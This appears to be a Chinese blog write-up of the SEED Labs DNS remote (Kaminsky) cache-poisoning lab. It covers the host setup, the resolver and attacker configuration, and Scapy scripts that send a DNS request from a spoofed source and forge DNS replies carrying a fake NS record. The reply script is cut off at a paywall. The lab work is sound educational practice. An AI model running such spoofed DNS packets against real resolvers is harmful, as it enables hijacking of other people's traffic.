DNS_Remote Attack Seedlab Project
实验主机配置
| 主机名 | IP地址 |
|---|---|
| 用户主机 | 10.0.2.5 |
| 本地DNS服务器 | 10.0.2.7 |
| 攻击者 | 10.0.2.4 |
实验环境

实验步骤与结果分析
task1 环境安装
由于DHCP为主机自动配置,同时会对etc/resolv.conf文件机进行自动写入覆盖,所以需要进行在用户机的/etc/resolvconf/resolv.conf.d/head 文件中加入 nameserver 10.0.2.7,其中head文件内容会再DHCP自动运行写覆盖etc/resolv.conf文件时,将head文件内容写入etc/resolv.conf文件中,查看两个文件内容,确实相同,结果如下:
10.0.2.7 为设置的本地 DNS 服务器, 当随后测试:

结果表明此时的用户主机的本地dns服务器已经变成了我们设定的10.0.2.7.
task2 Configure the Local DNS Server (the Server VM)
按照实验要求进行配置相关文件,主要对此文件进行能如下配置(10.0.2.4是本实验攻击者IP):

这个配置可以帮助我们在没有购买attacker32.com域的前提下,可以在攻击成功(本地缓存中某个域名example.com的查询将全部指向attacker32.com) 后直接查询设置的攻击者IP:10.0.2.4
task3 Configure the Attacker VM
按照实验要求下载所需要的文件后,对两个文件分别进行如下配置:
attacker32:

example文件:

== 上面图片中的问题,目前还没有想明白作用是什么? ==
task4 Testing the Setup
Get the IP address of ns.attacker32.com.
在用户机测试结果:

过程分析:
由于在task2中,我们在本地dns服务器配置了attacker32.com的域名与IP地址的配置对应,使attacker32.com域指向了攻击者主机10.0.2.4,而在攻击者主机10.0.2.4中配置了bind中的attacker.com.zone文件中的IP主机名的映射关系,如图:
所以理论上我们会查询到的IP地址为10.0.2.19,根据实验结果,相符合,同时使用wireshark抓包,发现过程与分析一致.

Get the IP address of www.example.com
不加@ns.attacker32.com,可以查到官方合法IP地址:

加@ns.attacker32.com,查询失败:

失败的原因如下:
加@ns.attacker32.com,表示去ns.attacker32.com主机查询www.example.com的IP地址,同时由于在上面实验中得到了ns.attacker32.com了,会在本地dns缓存中,本地dns会直接返回对应IP,以及其他字段信息,所以wireshark抓包测试,得到如下结果:

本地dns回复用户具体信息:

同时由于10.0.2.19主机不存在,主机便不断发送ARP请求报文查询对应MAC地址,由于主机不存在,ARP查询报文不断发送,导致超时失败,抓包结果如下:
Attack Task
task 4: Construct DNS request
在攻击者主机运行如下代码:
#!/usr/bin/python
from scapy.all import *
def SendPacket():
IPpkt=IP(dst='10.0.2.7',src='10.0.2.4') #dst:DNS server IP --- src:attacker IP
UDPpkt=UDP(dport=53, sport=2222 , chksum=0 )
Qdsec=DNSQR(qname='www.example.com')
DNSpkt=DNS(id=0xaaaa, qr=0, qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
Requestpkt=IPpkt/UDPpkt/DNSpkt
send(Requestpkt)
SendPacket()
抓包得到如下:

由于dns请求数据包为伪造,所以当主机收到回复的dns报文后,会产生ICMP端口不可达的回复报文.
task 5: Spoof DNS Replies
在攻击者主机运行如下代码:
#!/usr/bin/python
from scapy.all import *
def ReplyPacket():
name = 'www.example.com'
domain = 'example.com' #域名
ns = 'attacker32.com' #要伪造的目的域名
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1

该博客围绕Kaminsky攻击实验展开,涵盖实验主机配置、环境搭建及各步骤操作。包括本地DNS服务器配置、攻击者虚拟机设置、DNS请求构造与伪造回复等。利用Python和C语言结合构造数据包,通过多次测试提高攻击成功率,最终验证攻击是否成功。
最低0.47元/天 解锁文章
6323

被折叠的 条评论
为什么被折叠?



